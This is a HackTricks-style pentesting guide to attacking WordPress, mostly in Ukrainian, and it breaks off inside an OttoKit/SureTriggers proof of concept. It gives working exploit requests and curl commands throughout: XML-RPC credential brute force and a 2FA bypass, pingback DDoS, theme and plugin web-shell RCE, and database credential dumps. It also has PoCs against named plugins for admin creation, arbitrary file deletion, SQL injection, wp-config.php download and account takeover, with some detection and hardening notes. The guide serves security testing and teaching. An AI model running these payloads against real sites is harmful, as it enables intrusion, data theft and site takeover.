Wordpress

Reading time: 31 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

  • Uploaded файли зберігаються у: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Файли тем можна знайти в /wp-content/themes/, тож якщо ви зміните якийсь php у темі, щоб отримати RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: використовуючи theme twentytwelve ви можете отримати доступ до файлу 404.php за адресою: /wp-content/themes/twentytwelve/404.php

  • Ще одна корисна url-адреса може бути: /wp-content/themes/default/404.php

  • У wp-config.php можна знайти root-пароль бази даних.

  • Типові шляхи входу для перевірки: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt містить корисну інформацію, наприклад версію встановленого WordPress.
  • wp-activate.php використовується для процесу активації по email під час налаштування нового сайту WordPress.
  • Папки входу (можуть бути перейменовані, щоб сховати):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php — файл, що реалізує функцію WordPress для передачі даних з HTTP як транспортом та XML як механізмом кодування. Цей тип комунікації був замінений WordPress REST API.
  • Папка wp-content — головний каталог, де зберігаються plugins і themes.
  • wp-content/uploads/ — каталог, куди зберігаються файли, завантажені на платформу.
  • wp-includes/ — каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript-файли та віджети.
  • wp-sitemap.xml У версіях WordPress 5.5 і вище WordPress генерує sitemap XML файл зі всіма публічними записами та публічно доступними типами записів і таксономіями.

Post exploitation

  • Файл wp-config.php містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача і пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG-режиму, що може бути корисним при усуненні несправностей.

Права користувачів

  • Administrator
  • Editor: Публікує та керує своїми й чужими записами
  • Author: Публікує і керує своїми записами
  • Contributor: Пише і керує своїми записами, але не може їх публікувати
  • Subscriber: Переглядає записи і редагує свій профіль

Passive Enumeration

Get WordPress version

Перевірте, чи можна знайти файли /license.txt або /readme.html

У вихідному коді сторінки (приклад з [https://wordpress.org/support/article/pages/]):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link файли

  • JavaScript файли

Отримати плагіни

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Отримати теми

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Отримання версій загалом

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Активне перерахування

Plugins and Themes

Імовірно, ви не зможете знайти всі доступні Plugins and Themes. Щоб виявити їх усі, вам потрібно буде actively Brute Force a list of Plugins and Themes (на щастя, існують автоматизовані інструменти, які містять ці списки).

Користувачі

  • ID Brute: Ви отримуєте дійсних користувачів з WordPress-сайту шляхом Brute Forcing ID користувачів:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Якщо відповіді — 200 або 30X, це означає, що id є дійсним. Якщо відповідь — 400, то id є недійсним.

  • wp-json: Ви також можете спробувати отримати інформацію про користувачів, зробивши запит:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Ще один /wp-json/ endpoint, який може виявити деяку інформацію про користувачів:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Будуть надані лише дані про користувачів, у яких ця функція увімкнена.

Also note that /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: Під час входу через /wp-login.php повідомлення відрізняється, вказуючи, чи username існує чи ні.

XML-RPC

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Ви можете автоматизувати цей процес using this наприклад).

To see if it is active try to access to /xmlrpc.php and send this request:

Перевірка

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories або metaWeblog.getUsersBlogs — це деякі методи, які можна використовувати для brute-force credentials. Якщо ви знайдете будь-який із них, ви можете надіслати щось на кшталт:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Повідомлення "Incorrect username or password" у відповіді з кодом 200 має з'являтися, якщо облікові дані недійсні.

Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Також існує швидший спосіб брутфорсу облікових даних, використовуючи system.multicall, оскільки ви можете перевірити кілька комбінацій у одному запиті:

Обхід 2FA

Цей метод призначений для програм, а не для людей, і він старий, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але основний вхід захищено 2FA, ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обходячи 2FA. Зверніть увагу, що ви не зможете виконати всі дії, доступні через консоль, але все ще можете отримати RCE, як Ippsec пояснює в https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS або сканування портів

Якщо ви знайдете метод pingback.ping у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.
Це можна використати, щоб змусити тисячі Wordpress сайтів звернутися до одного ресурсу (внаслідок чого в тому місці спричиниться DDoS), або ж використати його, щоб змусити Wordpress сканувати внутрішню мережу (можна вказати будь-який порт).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Якщо ви отримуєте faultCode зі значенням більше ніж 0 (17), це означає, що порт відкритий.

Зверніть увагу на використання system.multicall в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

This file usually exists under the root of the Wordpress site: /wp-cron.php
Коли цей файл accessed виконується «важкий» MySQL query, тому його можуть використовувати attackers для спричинення DoS.
Також, за замовчуванням, wp-cron.php викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричиняти проблеми (DoS).

Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без спричинення проблем).

/wp-json/oembed/1.0/proxy - SSRF

Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Цей інструмент перевіряє, чи існує methodName: pingback.ping і шлях /wp-json/oembed/1.0/proxy, і якщо існують — намагається їх експлуатувати.

Автоматичні інструменти

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Отримати доступ, переписавши біт

Скоріше цікавинка, ніж реальна атака. У CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man можна було інвертувати 1 біт у будь-якому wordpress-файлі. Отже, можна було інвертувати позицію 5389 файлу /var/www/html/wp-includes/user.php, щоб NOPнути операцію NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Панель RCE

Модифікація php з використовуваної теми (потрібні admin credentials)

Appearance → Theme Editor → 404 Template (праворуч)

Змініть вміст на php shell:

Шукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Можна використати:

bash
use exploit/unix/webapp/wp_admin_shell_upload

щоб отримати сесію.

Plugin RCE

PHP плагін

Може бути можливість завантажити .php файли як плагін.
Створіть ваш php backdoor, наприклад використовуючи:

Потім додайте новий плагін:

Завантажте плагін і натисніть Install Now:

Натисніть Procced:

Можливо, це нічого не покаже на перший погляд, але якщо перейти в Media, ви побачите, що ваш shell було завантажено:

Відкрийте його й ви побачите URL для виконання reverse shell:

Uploading and activating malicious plugin

Цей метод передбачає встановлення шкідливого плагіна, відомого як вразливий, і може бути використаний для отримання web shell. Процес виконується через WordPress dashboard наступним чином:

  1. Plugin Acquisition: плагін отримується з джерела на кшталт Exploit DB, наприклад here.
  2. Plugin Installation:
  • Перейдіть у WordPress dashboard, далі Dashboard > Plugins > Upload Plugin.
  • Завантажте zip-файл завантаженого плагіна.
  1. Plugin Activation: Після успішної інсталяції плагін потрібно активувати через dashboard.
  2. Exploitation:
  • Після встановлення та активації плагіна "reflex-gallery" його можна експлуатувати, оскільки він відомий як вразливий.
  • Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши потрібні команди, можна встановити meterpreter session, що дає несанкціонований доступ до сайту.
  • Варто зазначити, що це лише один із багатьох методів експлуатації WordPress сайту.

Контент містить ілюстрації, що показують кроки у WordPress dashboard для встановлення та активації плагіна. Однак важливо пам'ятати, що експлуатація вразливостей таким чином є незаконною і неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад під час penetration testing за явного дозволу.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike — це скрипт, призначений для ескалації вразливості Cross-Site Scripting (XSS) до Remote Code Execution (RCE) або інших критичних вразливостей у WordPress. Для детальнішої інформації див. this post. Він забезпечує підтримку для WordPress версій 6.X.X, 5.X.X та 4.X.X і дозволяє:
  • Privilege Escalation: Створює користувача в WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Завантажити ваш custom plugin (backdoor) у WordPress.
  • (RCE) Built-In Plugin Edit: Редагувати built-in plugins у WordPress.
  • (RCE) Built-In Theme Edit: Редагувати built-in themes у WordPress.
  • (Custom) Custom Exploits: Кастомні експлойти для third-party WordPress plugins/themes.

Пост-експлуатація

Витягніть імена користувачів та паролі:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Змінити пароль admin:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Pentest плагінів Wordpress

Атакувальна поверхня

Розуміння того, як плагін Wordpress може відкривати функціональність, ключове для виявлення вразливостей. Нижче наведено пункти, у яких плагін може відкривати функціональність, а також приклади вразливих плагінів у this blog post.

  • wp_ajax

Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX handlers. Вони можуть містити помилки в логіці, авторизації або аутентифікації. Більше того, часто ці функції базують автентифікацію та авторизацію на наявності wordpress nonce, який може бути у будь-якого автентифікованого користувача в інстанції Wordpress (незалежно від ролі).

Нижче — функції, які можуть використовуватися для експонування функції в плагіні:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Використання nopriv робить endpoint доступним для будь-яких користувачів (навіть неавторизованих).

caution

Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції wp_verify_nonce, ця функція лише перевіряє, чи користувач авторизований, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.

  • REST API

Також можливо оприлюднити функції з wordpress, зареєструвавши REST API за допомогою функції register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback — це callback-функція, яка перевіряє, чи має конкретний користувач дозвіл викликати метод API.

Якщо використовується вбудована функція __return_true, вона просто пропустить перевірку прав користувача.

  • Прямий доступ до php-файлу

Звісно, Wordpress використовує PHP, і файли всередині плагінів доступні напряму через веб. Тож якщо плагін відкриває вразливу функціональність, яка викликається просто при зверненні до файлу, вона буде експлуатована будь-яким користувачем.

Підміна REST через trusted-header (WooCommerce Payments ≤ 5.6.1)

Деякі плагіни реалізують скорочення «trusted header» для внутрішніх інтеграцій або реверс-проксі і потім використовують цей заголовок, щоб встановити контекст поточного користувача для REST-запитів. Якщо заголовок не пов'язаний криптографічно з запитом компонентом вище в стеку, нападник може підробити його і звертатися до привілейованих REST-маршрутів від імені адміністратора.

  • Вплив: неавтентифікована ескалація привілеїв до адміністратора шляхом створення нового облікового запису адміністратора через core users REST route.
  • Приклад заголовка: X-Wcpay-Platform-Checkout-User: 1 (примушує ID користувача 1, зазвичай перший обліковий запис адміністратора).
  • Зловживаний маршрут: POST /wp-json/wp/v2/users з масивом ролей із підвищеними привілеями.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Чому це працює

  • Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації й пропускає capability checks.
  • WordPress core очікує capability create_users для цього маршруту; хак плагіна обходить це, безпосередньо встановлюючи контекст поточного користувача з заголовка.

Очікувані ознаки успіху

  • HTTP 201 із JSON-тілом, що описує створеного користувача.
  • Новий адміністратор, видимий у wp-admin/users.php.

Чекліст виявлення

  • Шукайте за допомогою grep getallheaders(), $_SERVER['HTTP_...'], або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад, wp_set_current_user(), wp_set_auth_cookie()).
  • Перевірте REST-реєстрації на предмет привілейованих callback-ів, які не мають надійних перевірок permission_callback і натомість покладаються на заголовки запиту.
  • Шукайте використання функцій керування користувачами ядра (wp_insert_user, wp_create_user) всередині REST-обробників, доступ до яких захищено лише значеннями заголовків.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Issues introduced by this snippet:

  • Неавторизований доступ – зареєстровано хук wp_ajax_nopriv_.
  • No nonce / capability check – будь-який відвідувач може звернутися до endpoint.
  • Немає санітизації шляху – рядок, керований користувачем, fontfamily, конкатенується зі шляхом файлової системи без фільтрації, дозволяючи класичний ../../ traversal.

Експлуатація

Атакуючий може видалити будь-який файл або директорію нижче базового каталогу uploads (зазвичай <wp-root>/wp-content/uploads/) відправивши один HTTP POST запит:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Іншими значущими цілями є .php файли плагінів/тем (щоб зламати security plugins) або правила .htaccess.

Detection checklist

  • Будь-який add_action( 'wp_ajax_nopriv_...') зворотний виклик (callback), який викликає файлові хелпери (copy(), unlink(), $wp_filesystem->delete(), тощо).
  • Конкатенація неочищених введених даних користувача в шляхи (шукайте $_POST, $_GET, $_REQUEST).
  • Відсутність check_ajax_referer() та current_user_can()/is_user_logged_in().

Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Чому це можна експлуатувати

  • Довіряє $_REQUEST['reset-for'] та опції плагіна без серверної авторизації.
  • Якщо користувач раніше мав вищі привілеї, збережені в _asenha_view_admin_as_original_roles, і його знизили в правах, він може відновити їх, звернувшись до шляху скидання.
  • У деяких розгортаннях будь-який автентифікований користувач може ініціювати скидання для іншого імені користувача, яке все ще присутнє в viewing_admin_as_role_are (некоректна перевірка авторизації).

Експлуатація (приклад)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

На вразливих збірках це видаляє поточні ролі і повторно додає збережені оригінальні ролі (наприклад, administrator), фактично підвищуючи привілеї.

Detection checklist

  • Шукайте функції перемикання ролей, які зберігають “original roles” в user meta (наприклад, _asenha_view_admin_as_original_roles).
  • Визначайте шляхи скидання/відновлення, які:
  • Читають імена користувачів з $_REQUEST / $_GET / $_POST.
  • Модифікують ролі через add_role() / remove_role() без current_user_can() та wp_verify_nonce() / check_admin_referer().
  • Авторизують на основі масиву опцій плагіна (наприклад, viewing_admin_as_role_are) замість перевірки capabilities актора.

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

Деякі плагіни підключають допоміжні функції перемикання користувача до публічного init хука і визначають ідентичність із cookie, контрольованого клієнтом. Якщо код викликає wp_set_auth_cookie() без перевірки автентифікації, capability та дійсного nonce, будь-який неверифікований відвідувач може примусово залогінитися як довільний ID користувача.

Типовий вразливий патерн (спрощено з Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Чому це можна експлуатувати

  • Публічний хук init робить обробник доступним для unauthenticated користувачів (немає захисту is_user_logged_in()).
  • Ідентичність визначається cookie, яку можна змінити на боці клієнта (original_user_id).
  • Прямий виклик wp_set_auth_cookie($uid) авторизує запитувача як цього користувача без жодних перевірок capability/nonce.

Експлуатація (unauthenticated)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Зауваги щодо WAF для WordPress/plugin CVEs

Загальні edge/server WAFs налаштовані на широкі шаблони (SQLi, XSS, LFI). Багато високовпливових WordPress/plugin вразливостей — це помилки логіки/auth специфічні для додатка, які виглядають як нешкідливий трафік, якщо движок не розуміє маршрути WordPress і семантику плагіна.

Offensive notes

  • Target plugin-specific endpoints with clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Exercise unauth paths first (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Default payloads often succeed without obfuscation.
  • Типові високовпливові випадки: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Не покладайтеся на generic WAF signatures для захисту plugin CVEs. Впроваджуйте application-layer, vulnerability-specific virtual patches або швидко оновлюйте.
  • Надавайте перевагу positive-security перевіркам у коді (capabilities, nonces, strict input validation) над negative regex фільтрами.

Захист WordPress

Regular Updates

Переконайтеся, що WordPress, plugins і themes оновлені. Також підтвердіть, що автоматичне оновлення увімкнено в wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Також встановлюйте лише надійні плагіни та теми WordPress.

Security Plugins

Інші рекомендації

  • Видаліть стандартного користувача admin
  • Використовуйте надійні паролі та 2FA
  • Періодично переглядайте права користувачів
  • Обмежте кількість спроб входу, щоб запобігти Brute Force-атакам
  • Перейменуйте файл wp-admin.php та дозволяйте доступ лише з внутрішньої мережі або з певних IP-адрес.

Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2)

Плагін WP Job Portal рекрутингу надав доступ до завдання savecategory, яке в кінцевому підсумку виконує наступний вразливий код всередині modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Проблеми, викликані цим фрагментом:

  1. Unsanitised user inputparentid надходить безпосередньо з HTTP-запиту.
  2. String concatenation inside the WHERE clause – відсутні is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – хоча дія виконується через admin-post.php, єдина перевірка — CSRF nonce (wp_verify_nonce()), який будь-який відвідувач може отримати зі сторінки, що містить шорткод [wpjobportal_my_resumes].

Експлуатація

  1. Отримати свіжий nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Впровадити довільний SQL, використовуючи parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Інше завдання, downloadcustomfile, дозволяло відвідувачам завантажувати any file on disk через path traversal. Уразливий sink знаходиться в modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name контролюється атакуючим і конкатенується without sanitisation. Знову ж, єдиний бар'єр — CSRF nonce, який можна отримати зі сторінки резюме.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Сервер повертає вміст wp-config.php, leaking DB credentials and auth keys.

Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Багато тем/плагінів включають допоміжні скрипти "social login", доступні через admin-ajax.php. Якщо неаутентифікована AJAX дія (wp_ajax_nopriv_...) довіряє ідентифікаторам, наданим клієнтом, коли дані провайдера відсутні, і потім викликає wp_set_auth_cookie(), це стає повним обходом автентифікації.

Типовий вразливий патерн (спрощено)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Чому це експлуатується

  • Можливість доступу без автентифікації через admin-ajax.php (wp_ajax_nopriv_… action).
  • Відсутні nonce/capability checks перед зміною стану.
  • Відсутня перевірка провайдера OAuth/OpenID; гілка за замовчуванням приймає введення від нападника.
  • get_user_by('email', $_POST['id']) з наступним викликом wp_set_auth_cookie($uid) аутентифікує запитувача як будь-яку існуючу email-адресу.

Експлуатація (unauthenticated)

  • Передумови: attacker може дістатися до /wp-admin/admin-ajax.php і знає/вгадує дійсну електронну адресу користувача.
  • Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Очікувані ознаки успіху

  • HTTP 200 з JSON тілом як-от {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* для постраждалого користувача; подальші запити є автентифікованими.

Знаходження імені action

  • Перевірте тему/плагін на наявність реєстрацій add_action('wp_ajax_nopriv_...', '...') в коді social login (наприклад, framework/add-ons/social-login/class-social-login.php).
  • Grep на наявність wp_set_auth_cookie(), get_user_by('email', ...) всередині AJAX-обробників.

Контрольний список виявлення

  • Веб-логи, що показують неавтентифіковані POST-запити до /wp-admin/admin-ajax.php з дією social-login та id=.
  • Відповіді 200 із success JSON безпосередньо перед автентифікованим трафіком з тієї ж IP/User-Agent.

Зміцнення безпеки

  • Не виводьте ідентичність з вхідних даних клієнта. Приймайте лише email/ID, які походять від валідованого токена/ID провайдера.
  • Вимагайте CSRF nonces та перевірок capability навіть для допоміжних логін-функцій; уникайте реєстрації wp_ajax_nopriv_ якщо це не суворо необхідно.
  • Валідуйте та перевіряйте OAuth/OIDC відповіді на сервері; відхиляйте відсутніх/недійсних провайдерів (без fallback до POST id).
  • Розгляньте тимчасове відключення social login або віртуальне патчення на межі (блокування вразливої дії) до виправлення.

Виправлена поведінка (Jobmonster 4.8.0)

  • Видалено небезпечний fallback із $_POST['id']; $user_email має походити з перевірених гілок провайдера в switch($_POST['using']).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Деякі плагіни відкривають REST-ендпоінти, які емісіюють повторно використовувані “connection keys” або tokens без перевірки capability викликача. Якщо маршрут автентифікується лише за вгадуваною атрибутом (наприклад, username) і не прив'язує ключ до користувача/сесії з перевірками capability, будь-який неавтентифікований атакуючий може створити ключ і викликати привілейовані дії (створення облікового запису admin, дії плагінів → RCE).

  • Вразливий маршрут (приклад): sure-triggers/v1/connection/create-wp-connection
  • Помилка: приймає username, видає connection key без current_user_can() або суворого permission_callback
  • Наслідок: повне захоплення шляхом прив'язки емісованого ключа до внутрішніх привілейованих дій

PoC – згенеруйте (mint) connection key і використайте його

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
